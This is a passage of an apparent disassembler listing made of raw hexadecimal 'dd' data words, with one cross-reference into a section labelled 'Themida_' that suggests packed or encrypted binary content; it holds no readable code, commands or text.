dd 695B2E3Ah, 8EFFBBF8h, 50279B0Ch, 0CD36F9E5h, 278D315Ah
dd 10321566h, 61CE4A9Dh, 0BBCDEB3Fh, 2232188Fh, 0A46CCC66h
dd 294B510h, 0D2979985h, 943DB465h, 90521438h, 1F824295h
dd 8BB97328h, 953D7507h, 0EBB973ACh, 0A6D99607h, 0BA159169h
dd 27DBEA99h, 5E321566h, 0F4DFAC42h, 4432328Fh, 5CB2E066h
dd 943DEB67h, 77CDEB6Bh, 44339E69h, 0CBCE1566h, 11321576h
dd 8995A08Fh, 347AF771h, 7C19F111h, 9CA73F1h, 77CE2B8Fh
dd 43BC1A99h, 2D321566h, 113214EFh
db 66h, 0E0h
word_5FBE9E dw 925Ah ; DATA XREF: Themida_:0058414Co
; Themida_:00584150o
dd 0CD321513h, 73CA3152h, 0D0B3F4EFh, 88321562h, 4436FCE7h
dd 2EB51566h, 1DBB4942h, 8838FC42h, 0D3A51566h, 0C59D831Fh
dd 7C9448A6h, 882CC10Eh, 602E9C66h, 2234FC06h, 1B651566h
dd 7655414Dh, 4432138Fh, 0C851A366h, 7010EEDFh, 8819450Eh
dd 600E9C66h, 2237FD06h, 0FCBD1566h, 0EE5897A4h, 1EDD3ED9h
dd 0D98D1A31h, 7752743Fh, 60CC56D8h, 44321575h, 299E8045h
dd 0CA10C3ECh, 0C3E6C0C6h, 5DC7BEBDh, 0DEFE5C58h, 0D103743Dh
dd 61F99E06h, 44321563h, 0B26F67F7h, 933D74A8h, 88321563h
dd 0B86B4606h, 4452B907h, 0AE9BC6E7h, 88321B8Fh, 0C9474B66h
dd 0F2750BDh, 61792EF0h, 0E9920EF6h, 44321C8Fh, 51110966h
dd 316B510Dh, 64B3F7F7h, 44321562h, 0AA1619EFh, 48D99DA3h
dd 8CB01A06h, 22321566h, 0A33BD6DCh, 0E1732BB0h, 0E0547450h
dd 0CD541DC6h, 0D2803172h, 4B54C646h, 883DFC9Ah, 2D051566h
dd 79569C89h, 2F87038Bh, 5EBF6B2Bh, 34C995A5h, 24359169h
dd 1ECE1566h, 88321FE5h, 25527566h, 3EA9C6E7h, 2D533715h
dd 8CB61A69h, 24321567h, 235DAE00h, 1132198Fh, 0E0B1C566h
dd 42A6A671h, 924E8392h, 0F80E74E4h, 82809169h, 4CDB1566h
dd 0F8321566h, 93D584F9h, 870A24BBh, 443214E5h, 0C90EED66h
dd 1FD79169h, 87521566h, 443217E6h, 0CBE79F66h, 1132156Bh
dd 1810889Ah, 2727CEDBh, 916ED9B5h, 0F20E74ADh, 8B999169h
dd 0C83D1566h, 2232156Eh, 11309E69h, 0E9521566h, 0C03DF75Ah
dd 22320505h, 11399D69h, 8EDB1566h, 5F321566h, 5950AC05h
dd 3506EA29h, 8CF69439h, 4B321566h, 223213E1h, 4F637566h
dd 77534F35h, 0C7693152h, 445211A2h, 775941DEh, 0E9C7F6DCh
dd 1D162199h, 4236D1E5h, 1123FC06h, 63051566h, 0F28AF0B8h
dd 0DA532EF2h, 928F9D2Bh, 3861861h, 0CF3D74B5h, 22321564h
dd 0EE53D1D0h, 96C3152h, 443211A2h, 2239FC66h, 23E61566h
dd 84A411DDh, 0BAA8A49Ah, 42F1EC14h, 660BD6E7h, 63D33B8h
dd 44321564h, 0E5534A30h, 0BA6C0E3h, 88321360h, 4434FC66h
dd 0E5A41566h, 0D76CADDBh, 0ABD8AD36h, 0AF176662h, 623B4554h
dd 1110FE53h, 2C21467h, 4B524D7Eh, 223216ECh, 0C6B97366h
dd 0B8897336h, 0B8534C42h, 0AB36F9E5h, 0E1843172h, 6168E646h
dd 44321560h, 95C8FA22h, 0EAB2C0B0h, 0AEB71AE6h, 0ADCDEA99h
dd 2232156Ch, 7886BDFFh, 95140EB8h, 0FB655A25h, 0DDCDEA99h
dd 0F86DEB67h, 88321561h, 49B29D6Ch, 0A94500E1h, 213B0E3h
dd 1DB9ED60h, 42210F63h, 2221FD06h, 743A1566h, 0A6822D17h
dd 0BD7F6E7Eh, 36ECAD5Bh, 7E72FE97h, 3E6CE96Fh, 116474B0h
dd 7D056DDBh, 355E3C7Eh, 9694862h, 1B056DA5h, 2222FC7Eh
dd 1DA11566h, 7D5861CDh, 0AD742FA4h, 0A7E3271Ch, 0FDB1292Ah
dd 0AC269C62h, 443213DCh, 78E11466h, 113E9869h, 53D1566h
dd 44321560h, 22329269h, 0A8631566h, 9C014780h, 0E92ED4E7h
dd 0D333FEAAh, 0E96B0C65h, 0A3DCD5Dh, 44321556h, 22229669h
dd 1ADB1566h, 6C321566h, 38986FEh, 2321A1FCh, 0CB0952ADh
dd 76659369h, 2452EA99h, 22329D69h, 903D1566h, 88321566h
dd 25B2A007h, 4CC5D6E7h, 0FAB340E3h, 0C9C524A9h, 87B3EE4Fh
dd 63C524A9h, 7FC5FEE7h, 3A5240E3h, 0C553E970h, 2232118Ah
dd 35269C66h, 883213DCh, 1EE13C66h, 2232018Fh, 2A150366h
dd 0B40773ECh, 0C3243A90h, 0E91728B2h, 0BF4F719Dh, 0E89F7394h
dd 7B1EAD00h, 22321B8Eh, 77DBAF66h, 288F6A0Ch, 39B3BE81h
dd 7B0C600Fh, 71997307h, 0E9C7DAEDh, 8703CD57h, 2CDBCD57h
dd 0FE321566h, 0DA01962Fh, 4A4C5A2h, 140795C6h, 913DBEDEh
dd 88321561h, 9A8D1A06h, 75537406h, 113211D9h, 3CC1466h
dd 80B1315Ah, 223AFC62h, 938C1566h, 0DA0E8E8h, 4DDB9DE9h
dd 94321566h, 0DDA4D12Eh, 74800C57h, 4B1629EFh, 223218EFh
dd 113AFC66h, 38001566h, 17C6FC5Eh, 2BDB2E18h, 0D0321566h
dd 85596F4Eh, 0BF222CB6h, 2E1661EFh, 11209F69h, 53D1566h
dd 4432156Ah, 2232128Fh, 5E5F866h, 956CA47Eh, 7537A0EFh
dd 0A33D1375h, 11321575h, 88321B8Fh, 0F279D466h, 0C2EF4F3h
dd 482DBCAAh, 32AF49Fh, 0CD67315Ah, 26F79483h, 90321566h
dd 883211A3h, 601E9266h, 4461753Ah, 4F9DD6DCh, 8832018Eh
dd 9155D66h, 0EDEF9D8Bh, 12EC748Fh, 1201BE4Fh, 20858D2Eh
dd 7B5375DFh, 3506EA07h, 8CF6963Dh, 6006EA9Ah, 26F6943Fh
dd 0E9321566h, 0AC06EA9Eh, 40F69638h, 79664693h, 1136D6E7h
dd 4BB11566h, 602E9262h, 9CDBED3Ah, 71CDEAB8h, 882B9269h
dd 50DB1566h, 52321566h, 6E46EBA2h, 0F4F73B21h, 37F606AFh
dd 19300EDCh, 1EC7A061h, 883207E6h, 443FFC66h, 0B8321566h
dd 1809A9C1h, 0CECC13C8h, 2548DC33h, 0E4B37306h, 0D3B9EF1Ch
dd 5DB7D207h, 46340FF2h, 42321566h, 1132188Fh, 85735766h
dd 1EF0C058h, 21DB84AFh, 0AF54C0C4h, 0E8539FDDh, 44309269h
dd 43521566h, 4A6C4636h, 8CB34307h, 0A2193342h, 62E9E00h
dd 9036D1E5h, 6E19338Dh, 5CB81A00h, 0CB321566h, 11321575h
dd 0ED70D152h, 32EC9F45h, 0B04C0DDDh, 6CB1C6AEh, 87AEEE05h
dd 0C4CA1BD0h, 0A13D959Fh, 1132150Bh, 88239469h, 0C93D1566h
dd 2232156Dh, 1132138Fh, 12EAD866h, 0C5152B29h, 716FD58Dh
dd 66F1946Ah, 8964B57Dh, 33D994ADh, 0A364B57Dh, 426FD5A5h
dd 8FB31A6Ah, 4B321566h, 223214EAh, 0EE61EC66h, 94B93162h
dd 40F69442h, 0CB321566h, 11321577h, 64276F2Ch, 6B09BF14h
dd 4E890FE3h, 91260AA8h, 88A3FC7Fh, 0C33D1566h, 22321567h
dd 3F85469Ah, 864FAE6h, 8BCC6AA9h, 9262D298h, 3DEAE3E9h
dd 7E1C31C0h, 443911B6h, 0DB1A4DA1h, 1138FC3Dh, 8ED51566h
dd 2B05F573h, 7493E380h, 0AA61FCE1h, 88321566h, 99B5FE4Fh
dd 2DDB923Dh, 113213E6h, 0EECE7566h, 1653E5EDh, 2232EADCh
dd 9AE33466h, 4CB13172h, 443CFC62h, 0B3331566h, 2C4DFFB7h
dd 7E2E5C88h, 0DD9D9DA9h, 6BDEFEE7h, 0DA1B1C51h, 0C1DEA833h
dd 0AF331C51h, 223BFC3Bh, 0A8C51566h, 12F10628h, 0CF37065Eh
dd 3113B0E3h, 973D7560h, 88321563h, 0F25253DCh, 0A953E054h
dd 22810F3h, 8822FC60h, 20621566h, 0CD618616h, 0B8C2CDB5h
dd 9A32653Dh, 0F9B18A1Dh, 242114C3h, 0F9B61A67h, 87321565h
dd 443214E4h, 1BC7EC66h, 0C9B01AA5h, 61321565h, 4432156Dh
dd 0F8C1BBEAh, 637FFF49h, 0B1B50407h, 0F6B01AB5h, 0DACDEA9Ch
dd 1131AF8Fh, 86BE1A66h, 24321566h, 0A7FDCCE7h, 0C7B36AC5h
dd 9BC834D2h, 91B7D207h, 20340FF2h, 1E321566h, 883214E2h
dd 0A8B3E966h, 22321562h, 901621EFh, 0A3C23162h, 0C5692347h
dd 319E58Dh, 1135FC50h, 59421566h, 0BB8F995Dh, 2C841A41h
dd 113B9469h, 70521566h, 3B9BC3E7h, 0A2532DB3h, 923D959Fh
dd 8832153Ah, 93B9EC06h, 6CF19407h, 902C0B7Eh, 2C3779A5h
dd 0C5F9144Eh, 8637798Dh, 5FD9944Eh, 612C0B7Eh, 44321574h
dd 0CD4F425Ch, 0A2EC9BBh, 2D10A53Ah, 40E6050Ah, 9F67ECFFh
dd 3449460Dh, 977C091h, 872154ABh, 0F6C79414h, 10C8D2D9h
dd 83D488Dh, 44321567h, 0ABDBE99Fh, 0E9321566h, 0A0CDA235h
dd 602E9E9Fh, 2D36D1E5h, 11320DE3h, 8821FC66h, 0B9C31566h
dd 3AA192CDh, 25104C80h, 673E624Eh, 71497574h, 228C43D9h
dd 90321566h, 0D26397A0h
dd 0C5FC3C70h, 78639788h, 4FC39C70h, 778A459Fh, 65321566h
dd 6369EA7h, 1136D1E7h, 84DB1566h, 0A9321566h, 2C54C0DCh
dd 0F77EF28Dh, 0DA46BF63h, 374D44DCh, 78E1142Dh, 0FAB3DE4Fh
dd 0C3416A37h, 44321A8Fh, 0B77C7666h, 87BF04Fh, 653D327Ch
dd 0D969A124h, 39790EDh, 9A3D1375h, 88321567h, 41A79E9Eh
dd 4234067Ch, 1EEADEE6h, 0B53C7D1h, 5733B0DBh, 0A63D1460h
dd 1132172Dh, 883D9669h, 4EDB1566h, 6F321566h, 1C40F435h
dd 2D9B1797h, 9C09E9C7h, 22139769h, 9E3D1566h, 8832156Ah
dd 4432128Fh, 3B9FD966h, 1A13F260h, 0E3DC65Fh, 0BBCDEC63h
dd 22339469h, 46CA1566h, 3B35EFD9h, 0D6D59462h, 6566F047h
dd 1853F2E7h, 6FF37F49h, 65C59463h, 0B363546h, 40CE4A98h
dd 0E2A635h, 0A5B24EBFh, 0D5C395D0h, 9134FCA6h, 40BA1BA7h
dd 0BD98E03Fh, 2236F9E7h, 5BB1566h, 8832AF42h, 0B6331566h
dd 0DA681FECh, 0A26177D6h, 8CD9D58Ah, 97C4DE98h, 0C9B2DE98h
dd 4AEA3D54h, 8A06C590h, 9906DD98h, 2232138Fh, 22817166h
dd 0D8647664h, 8427A734h, 0E8CC108Ch, 0EF70DFE6h, 99F095ACh
dd 6468C1EEh, 2ADB4D87h, 45321566h, 47E4F4E9h, 4CBC678Eh
dd 2220FCAEh, 0ADF11566h, 6A61EDD1h, 13A4848Ah, 9B0B8E2Fh
dd 2DEEE80Eh, 8826FCCCh, 0CCE11566h, 3980AB15h, 40FA35FCh
dd 0D2A840D7h, 8BB9217h, 9C64D326h, 7E1D07CAh, 0A16CE64Fh
dd 0E8F1949Dh, 0D75D3A74h, 1136A833h, 631B1566h, 0C51639EDh
dd 223211A2h, 0FDB3ED66h, 88321562h, 171611EFh, 44524E3Eh
dd 0F84DAEDCh, 88321561h, 0EB0BDC54h, 43991626h, 1134FCCDh
dd 0E9BA1566h, 1ECE8A29h, 2236F9E7h, 15BB1566h, 8830AD42h
dd 82331566h, 223EFC3Eh, 8A131566h, 107B1737h, 1374F598h
dd 97BBC31Fh, 17212463h, 2DB7D29Ah, 45340667h, 0D7321566h
dd 1132108Fh, 7B5CD066h, 0CD62CC7Ch, 22361086h, 0D1B11566h
dd 0AC362662h, 77161157h, 0D76E3162h, 461609EDh, 4FB3F2EFh
dd 44321562h, 2236D2E7h, 2DB51566h, 0E3D4942h, 44321567h
dd 63E9E9Fh, 90D59C31h, 883211A1h, 40F59466h, 0A5321566h
dd 0F86E315Ah, 88321561h, 21F7B451h, 71DCC50Ah, 0D2B3F6EFh
dd 88321562h, 1736D6E5h, 26166199h, 35369A3Dh, 9CBF1A3Ah
dd 0AD321566h, 22321569h, 0CBAFF1F7h, 81038CFh, 2F9E6041h
dd 77C7E049h, 0D4B3F0EFh, 88321562h, 4436AB30h, 0D7331566h
dd 351E9238h, 8EDBEC3Ah, 0ADCDEABFh, 22321569h, 781A33CAh
dd 0C44B186Ch, 0F79F1BB6h, 4A1327CCh, 113243E1h, 771621EFh
dd 0BD6C316Ah, 0FAC40DD6h, 0A760C590h, 0D2C2151Eh, 0ACF2D598h
dd 4225396Eh, 7CC09400h, 77851A8Bh, 2252BF07h, 0CB779CD9h
dd 11321561h, 1CEFE2CEh, 255F247Eh, 0ABC39C37h, 353E9EAEh
dd 8836D1E7h, 0B8C71566h, 7EEAA31h, 0E91B4AB0h, 8DCA3C39h
dd 1BE430BAh, 725FAC06h, 0A63D0D49h, 64B374BDh, 44321562h
dd 9B1619EFh, 11321562h, 0E86BDD4Fh, 4432108Fh, 8B5B6C66h
dd 1DBF5B4h, 2D321566h, 287E40FDh, 0FB7DDEEFh, 0DBF070DDh
dd 0E9160AF8h, 4437FCCDh, 21D1566h, 41DD5DF1h, 8C374D32h
dd 0C7321566h, 26B511A6h, 18DB4942h, 0E7321566h, 2D0E43ABh
dd 0EB911150h, 421609EDh, 4BB3F6EFh, 44321562h, 2236D6E7h
dd 0DB51566h, 3CB4942h, 0CD65316Ah, 26F59481h, 92321566h
dd 0B4B511A1h, 0CFC74942h, 0AB603152h, 15F09484h, 0B321566h
dd 50B511A4h, 70C74942h, 0AF64F7EFh, 0ABAC7F50h, 0C57CC391h
dd 8D785890h, 0FFB35308h, 3AFCCAE4h, 0C76CE767h, 36B511A4h
dd 9A3D4942h, 88321567h, 9F19FC9Eh, 2D52EA99h, 113213E5h
dd 88BC1A66h, 25321566h, 0B6E790A1h, 1137137Ch, 3D1566h
dd 4432156Ch, 0D0B97306h, 1AF89400h, 36474B6h, 80B3317Ah
dd 22321562h, 1BBF1A9Ah, 0E8321566h, 44329F69h, 43521566h
dd 0AB604307h, 86327CBFh, 445BC8D8h, 78E42468h, 716CE667h
dd 88321A8Fh, 96B97066h, 0F08FC4FCh, 0BB9EEBCAh, 0BA5F03B3h
dd 4421FC06h, 0E3541566h, 0D1A3BBFCh, 850E4F01h, 604BE06Dh
dd 7C4966D5h, 11BC1AC1h, 0E9321566h, 448B4407h, 0A3321566h
dd 0F07B50A7h, 9C3143Bh, 0A57B508Fh, 7B2B163Bh, 0C3851A06h
dd 75E39400h, 0C1B974BAh, 242134C3h, 77FA9E06h, 0B0D4DAE7h
dd 41A79E07h, 0D734067Ch, 1133AE35h, 561B1566h, 443BFC3Dh
dd 0EC5B1566h, 0EB521ED4h, 0B688244h, 5716DCDBh, 0A63D1460h
dd 11321263h, 88321D8Fh, 0A7B5AE66h, 567A535Dh, 1EEA2EB7h
dd 88323AE4h, 0ACB37566h, 5F7A06A3h, 1EE82E07h, 883381E0h
dd 0C43DEC66h, 2232157Eh, 1132068Fh, 9B349866h, 9ACFB73Dh
dd 915120A1h, 0CFC65BE6h, 171025Eh, 7537A0EFh, 0CB521375h
dd 1132156Eh, 8A1B2D16h, 0B58B35D7h, 22349E69h, 0DFB31566h
dd 0D58A2EA7h, 91AF9E07h, 0CB340FF2h, 11321563h, 22F09041h
dd 605E944Dh, 0B143D96Ah, 3576942Ch, 0A313516Ah, 606E1467h
dd 65E946Ah, 3A13516Ah, 0AC769467h, 0D743D96Ah, 0A23D752Ch
dd 11321560h, 88329769h, 0A1B81566h, 2465FC07h, 71521566h
dd 0CEE3AD00h, 44329769h, 9A531566h, 758A4BF7h, 0AC0E9E07h
dd 0C5D49C30h, 223211A0h, 15F49666h, 0D41621E1h, 4432068Fh
dd 0CA3BA866h, 0DB8CAE5Ah, 8CFD37E4h, 0FDD51B4Ch, 0FAEA3EB8h
dd 11389B69h, 87521566h, 443215EEh, 43E59E66h, 35FB90A1h
dd 88331375h, 4EDB1566h, 5321566h, 0F9A212D6h, 4B0910Bh
dd 602E9E3Ch, 0A3D49C30h, 113211A0h, 8CF49666h, 181621E1h
dd 606EA9Eh, 15F6943Fh, 61321566h, 44321568h, 4D26A9D4h
dd 52E976FBh, 7F4D714Bh, 22521BCCh, 32DBD7EDh, 0C8321566h
dd 894C6C89h, 0F5A954EEh, 687E9E99h, 700D814Ch, 0D6162199h
dd 4436D1E7h, 0A03D1566h, 11321577h, 88399569h, 42DB1566h
dd 13321566h, 50072882h, 6BBB4658h, 4F18AC37h, 0FBC5481Bh
dd 0F8F3C491h, 49E3E260h, 0B5B31D8Fh, 22CC9F69h, 926BDE67h
dd 94B511A5h, 14524942h, 7CC9A269h, 0C419FC07h, 73DEA99h
dd 44321567h, 878F969Eh, 10340667h, 8D0D9169h, 0AD521566h
dd 22321560h, 0E87EA580h, 6052D9F8h, 4432156Ah, 124A6BFh
dd 1143480Bh, 3325B52Bh, 4422FC3Eh, 78461566h, 15BDA42Dh
dd 9DA9700Ch, 23057DC5h, 43538D0Dh, 3097884Dh, 86DB1375h
dd 0E5321566h, 0DEE94BA1h, 217ECC10h, 2F03C766h, 0B1BF9EBBh
dd 0CB340678h, 1132156Ch, 0B5B53067h, 440E0A40h, 0E3B35508h
dd 59116406h, 3567CC67h, 0C116406h, 426FFC4Fh, 0F8C29E00h
dd 88321560h, 0FEC4B470h, 0A3536966h, 0EB63FD8Fh, 0DDF39408h
dd 6D737726h, 77DB949Fh, 90737726h, 7263FDA7h, 5BB71A08h
dd 42321566h, 1132048Eh, 0E365AD66h, 0C5ECFA0Eh, 69D7165Ch
dd 4753E48Ch, 969A31Eh, 70BF39B5h, 9A627463h, 30F11F90h
dd 0F5352963h, 61E2E21Ah, 42081C6Ah, 1C30F5A7h, 0FD167E93h
dd 0A85DE553h, 7AF33C93h, 1132128Fh, 82715766h, 5D7D1EC9h
dd 9F854637h, 0EC024DD3h, 74DF953Dh, 0BC6BFDEEh, 2ADBE0CCh
dd 4A321566h, 78EFEE64h, 2C8E0502h, 22320D96h, 401611EFh
dd 23CA4C3Eh, 42B21A06h, 0A3321566h, 0C2E6DB8Dh, 0E9D79F25h
dd 0C5D09C34h, 223211A4h, 158A4566h, 89321566h, 50B54DA4h
dd 0A03D4942h, 11321567h, 0AC2E9E9Fh, 0C5D59C31h, 223211A1h
dd 15F59666h, 0D41629E1h
dd 25F59F06h, 7B162199h, 1136D1E7h, 77CA1566h, 0C56C3152h
dd 223211A2h, 113EFC66h, 2FF61566h, 2072AF50h, 41344806h
dd 9863FEDCh, 8CF39487h, 13321566h, 223211D9h, 4ECB1466h
dd 0D41619E1h, 44359069h, 0AA3D1566h, 11321567h, 5EFDFC9Eh
dd 83C7EA99h, 38A6C0E3h, 11321760h, 8835FC66h, 0BAF81566h
dd 1403A644h, 0E0BB44BAh, 616B4E37h, 4432156Bh, 0DABB2E5Ah
dd 11D88D43h, 25B36EAAh, 4A841ADAh, 22339069h, 0F8CE1566h
dd 88321560h, 0F61C3FC2h, 0DBB2894Dh, 6FB11AE6h, 61321566h
dd 44321568h, 0D3463D8Dh, 6D83132Dh, 60F849D3h, 87B3F681h
dd 5142684Bh, 5F16D6E7h, 43336793h, 0A16FEE7h, 0C9B36793h
dd 6242684Bh, 63E09506h, 4ADB7493h, 4321566h, 0CEEE73E5h
dd 9754D1FEh, 8A9FFE1Ah, 238847C8h, 10321566h, 9BDB4FB5h
dd 19321566h, 0A72067E2h, 0B85C4E69h, 0A219F51Fh, 0A349EFCDh
dd 87DB1BBAh, 71321566h, 88321E8Fh, 0EF092366h, 9D8A11F3h
dd 9863E5F6h, 0DA617307h, 0A6F2FDD4h, 21D8D565h, 0C3C4CF90h
dd 62B2DF98h, 1EE19D61h, 7954CC4Eh, 11321F8Fh, 0DC3C0C66h
dd 0DF18AEBEh, 0A14814A6h, 0C0C5148Fh, 88339069h, 12C71566h
dd 2232EAD8h, 9AC33466h, 4CB13152h, 22647562h, 7D4D60D9h
dd 11379F69h, 9541566h, 25D18B95h, 7E78A833h, 0D4B33A8Eh
dd 0D381782Fh, 123AD8E7h, 0E3774877h, 0DCB31683h, 0B1E406C5h
dd 0F6FCF8E7h, 0C91BF1A9h, 90F93C3Bh, 877F00A5h, 4CDB757Fh
dd 76321566h, 9E74DD29h, 0E9FFD425h, 659790EDh, 0CB521375h
dd 11321569h, 3BFFEFEBh, 0F40970ACh, 20C0C22Dh, 77D8A48Ah
dd 0E9847FDCh, 5E3780EDh, 30DB1375h, 0BA321566h, 577AF2C1h
dd 0A664AE32h, 0B7659777h, 7533576Eh, 72F4FC35h, 2252EA99h
dd 0A952CDEDh, 958B73B0h, 87537477h, 443213E5h, 0FDB97566h
dd 0D6537406h, 92A6C0E3h, 44321760h, 2223FC66h, 24E01566h
dd 5EF4A5E6h, 86CB3D70h, 2DBD57F0h, 47FD96A3h, 571621E7h
dd 0CF765533h, 0E6B1317Ah, 0CEC19462h, 70765533h, 243CA369h
dd 22309569h, 49641566h, 8832108Fh, 0B56FF866h, 0A253B994h
dd 923D959Fh, 88321550h, 44339569h, 75C71566h, 3112E9D9h
dd 0D7C9144Ch, 0AFB3DE67h, 812359Ah, 11321C8Fh, 0C956EA66h
dd 6B7A42B9h, 9D65C78Eh, 11321567h, 7D6DEE67h, 4432828Fh
dd 7254EC66h, 0A51EA635h, 0D3EE3D4Dh, 1C54F44Eh, 2232068Fh
dd 0FD92A966h, 62666529h, 0A59C3F42h, 0B30E0BA1h, 0D5392320h
dd 155A4235h, 1B0EF517h, 53AFE2E7h, 0EABB2986h, 0FF93C39h
dd 0C73D4EBFh, 2232156Ah, 11349869h, 3D1566h, 44321566h
dd 2236F9E7h, 25BB1566h, 88CDAB42h, 0B5131566h, 2237FC38h
dd 0E7A91566h, 9F604AAh, 0E3DA6A5h, 61D9942Ah, 384A6713h
dd 0CBF194ADh, 0C54A6713h, 683DA68Dh, 113CFC2Ah, 0F05D1566h
dd 1A5B218Fh, 2E29B9A3h, 8AD6F2B5h, 0A99790EDh, 0C13D1375h
dd 2232157Ch, 11269869h, 87DB1566h, 0B0321566h, 0F591BF6Ch
dd 0DF7EDA9Ch, 600C43D9h, 0D1B94D7Dh, 24210F63h, 0CFB97306h
dd 0A37AB00h, 0E18F9607h, 23340667h, 0E66B9169h, 99DBEA99h
dd 14321566h, 7AD89549h, 5D9666A8h, 34F8E6Bh, 0E231D8ACh
dd 2232078Fh, 31180B66h, 79336C5Eh, 45ED4E28h, 0C3067479h
dd 2AE11AEBh, 9FB01ABEh, 0BC321566h, 0A43DC65Fh, 0EECDFB6Bh
dd 8FB91A9Fh, 4B321566h, 223214E0h, 0AB60E966h, 77CDEA99h
dd 0AD68C367h, 22321568h, 0ACAD43C8h, 4AE10C66h, 285C219Eh
dd 24DB8C75h, 22321566h, 6288156Eh, 0B1BB40CCh, 0EB9FCEFh
dd 15F69442h, 87321566h, 44321FE2h, 2237FC66h, 35371566h
dd 9CF5199h, 8438C6A7h, 0C8F39441h, 38299F39h, 62DB949Fh
dd 0C5299F39h, 0E238C68Fh, 1135FC41h, 8CA01566h, 43FB6D29h
dd 26DE96C5h, 0AA1609EFh, 88321563h, 0B169CC4Fh, 9298A437h
dd 397C11F5h, 0D17C39AEh, 0CC3DBF9Ah, 22321565h, 4153ED06h
dd 886A040Eh, 603E9C66h, 0D7C74C3Eh, 1139FCCDh, 0B1E1566h
dd 0D9CBF842h, 0EF36DD7Bh, 0C381FCEBh, 0DBC7EA99h, 52277D31h
dd 0A36D1142h, 484518A9h, 0AD59435h, 0C523086Eh, 3A1E6E81h
dd 11F5940Ch, 1CDFD66h, 0B7334A9Dh, 0DE6916ECh, 953DFD5Ah
dd 88321520h, 4BF39E06h, 7353ECD9h, 9F1A09DFh, 9E3E251h
dd 8F5C99A7h, 3288477Bh, 53760C0Ah, 0AD90FFE7h, 951B48BAh
dd 7BFA9C3Ch, 11321C8Fh, 0E09C4666h, 0DEABC2FEh, 4BDBF630h
dd 0F8321567h, 88321560h, 0FC08611Dh, 0BF5A8783h, 98321545h
dd 86DB317Ah, 0B6321566h, 7040D182h, 0E405A30Bh, 0D37EBF6Bh
dd 5ED7D93h, 16BB1566h, 9C3D4E42h, 88321567h, 2C62479Fh
dd 50AC1E6Eh, 4BA7303Eh, 89075D7Fh, 0CD720D6Ch, 0D0334DA4h
dd 1E680F65h, 883214E8h, 1662EC66h, 223210DCh, 4BE29C66h
dd 716AD667h, 0CD36F9E5h, 0CA87316Ah, 0F86BFDEEh, 8832156Ah
dd 96911C8h, 0B8D0BCBFh, 0A411CBE7h, 3062E0CCh, 534E4F3Ch
dd 0B6AD64Fh, 4BF1949Dh, 8725693Ch, 443212E5h, 23B31A66h
dd 0ED321566h, 8836A833h, 0AF1B1566h, 0A11639EDh, 9A5211A2h
dd 29E795BCh, 0A8B34507h, 22321562h, 491609EFh, 9788753Dh
dd 0AD4DBE49h, 22321561h, 22EB8291h, 0E9E87226h, 0C55475CDh
dd 0CA06A4B9h, 11321574h, 83AA6ADh, 7FBCADEBh, 6811B0E5h
dd 2D2879C1h, 47B2312Bh, 0CF534A69h, 0AB62317Ah, 11361086h
dd 48B11566h, 60369262h, 2237FC3Ah, 0F80A1566h, 874C4692h
dd 443218E4h, 223AFC66h, 3EE21566h, 0EC548E66h, 0FC62FB58h
dd 22321563h, 15B9D367h, 8CF69442h, 4B321566h, 22321DECh
dd 913D7566h, 88321566h, 735A4407h, 7B13E96Eh, 7274D4E7h
dd 37650214h, 6E7A44FAh, 0E36DEC67h, 0D0B3168Fh, 7BBB3D38h
dd 0B86BDDEFh, 0A35475A5h, 0E971F9A6h, 95D97D07h, 48BB1566h
dd 28BC1A42h, 71321566h, 0AD659EDDh, 0B6B9733Ah, 14CD7307h
dd 35369E00h, 8830D1E7h, 24521566h, 22329269h, 90541566h
dd 0E97AF38Eh, 44319469h, 953D1566h, 0D20E74B1h, 89649169h
dd 0FA521566h, 0C104490h, 78E89400h, 8DDB74BCh, 0C7321566h
dd 8D86A37Eh, 953DDE5Ah, 8832145Eh, 4BF02993h, 22337DE2h
dd 903DED66h, 8832156Bh, 44B51A06h, 98321566h, 68C4B940h
dd 87F82907h, 443359E2h, 2223FC66h, 83E81566h, 0C07ABCAh
dd 8D24FCECh, 9259CA43h, 7114957Dh, 8DDA449Ah, 36321566h
dd 0B748DF60h, 77534A3Fh, 8717EA5Bh, 44335AE2h, 0A9547566h
dd 12B21AB5h, 87321566h, 0AD53C5D9h, 22321568h, 0B9CB8B3Ah
dd 10CE30F2h, 0E259B05Dh, 1F540535h, 943DEA48h, 8832150Bh
dd 0ADC29E06h, 22321560h, 0B2C0ABD5h, 0D953F5F9h, 443217DFh
dd 71C31466h, 113215DDh, 2F91466h, 0AD6B4E65h, 2232156Dh
dd 2BC434DEh, 0EE9FC6B4h, 0ADE3E3B0h, 22321560h, 0C6FD1E49h
dd 64B3B920h, 44321562h, 901601EFh, 21C095A6h, 6168C546h
dd 44321563h, 22FDEB47h, 1E92291Dh, 8832E1E2h, 42BC1A66h
dd 42321566h, 0E9C29E00h, 0AC06EA07h, 40F6943Fh, 2D321566h
dd 113200ECh, 8822FC66h, 8251566h, 138C05D0h, 85776D3Dh
dd 3B3B4366h, 0FF61B2A0h, 22321566h, 0F8694D35h, 88321568h
dd 3307A95h, 0AE1F0EDDh, 0D8528529h, 0E0DBE3F9h, 24321567h
dd 4330CAE6h, 1CDBDC57h, 0EB321566h, 24CE5842h, 0CF2440E3h
dd 9645CC85h, 8833AA31h
dd 0BD331566h, 223BFC39h, 354A1566h, 59B59CE6h, 0AD6FF866h
dd 223215E4h, 77F09E06h, 8EBECDE7h, 44317D07h, 2EB91566h
dd 15F69442h, 87321566h, 443206E5h, 223CFC66h, 9E7F1566h
dd 0F3ED60A6h, 801ACE4Ch, 197C0410h, 1132588Fh, 89B81A66h
dd 0B1321566h, 96656DDFh, 13D3D47Ch, 8C5EAE35h, 0B37166E6h
dd 57C194BDh, 20D4BBC0h, 0EE524EBFh, 0FD0CE4DFh, 62AD5567h
dd 112EFC07h, 83D1566h, 44321567h, 22357D93h, 1DB91566h
dd 8CF69642h, 86B37306h, 0A954824Ah, 0B5C174A0h, 88321D8Fh
dd 700DCF66h, 56C6F9F1h, 9CB9EDCBh, 8E210F63h, 42DB4406h
dd 32321566h, 0ABA17C55h, 0E8524A5Dh, 443DFC07h, 0B4901566h
dd 4FF89704h, 59E3F386h, 379B8DCCh, 0A753746Fh, 0FB71AAFh
dd 0E8321566h, 4C57AB00h, 4352E906h, 0A4BB7407h, 8E210F63h
dd 44359C69h, 0AD3D1566h, 11321567h, 0AC3E9E9Ah, 41D29C36h
dd 22321562h, 11321163h, 0AC369266h, 0CF54753Ah, 0E38D1AA1h
dd 5D2AD07h, 58C5375Bh, 0AC1B5653h, 171F5558h, 470C6653h
dd 45785AD8h, 1AC22456h, 58F57353h, 1DB41AF2h, 87321566h
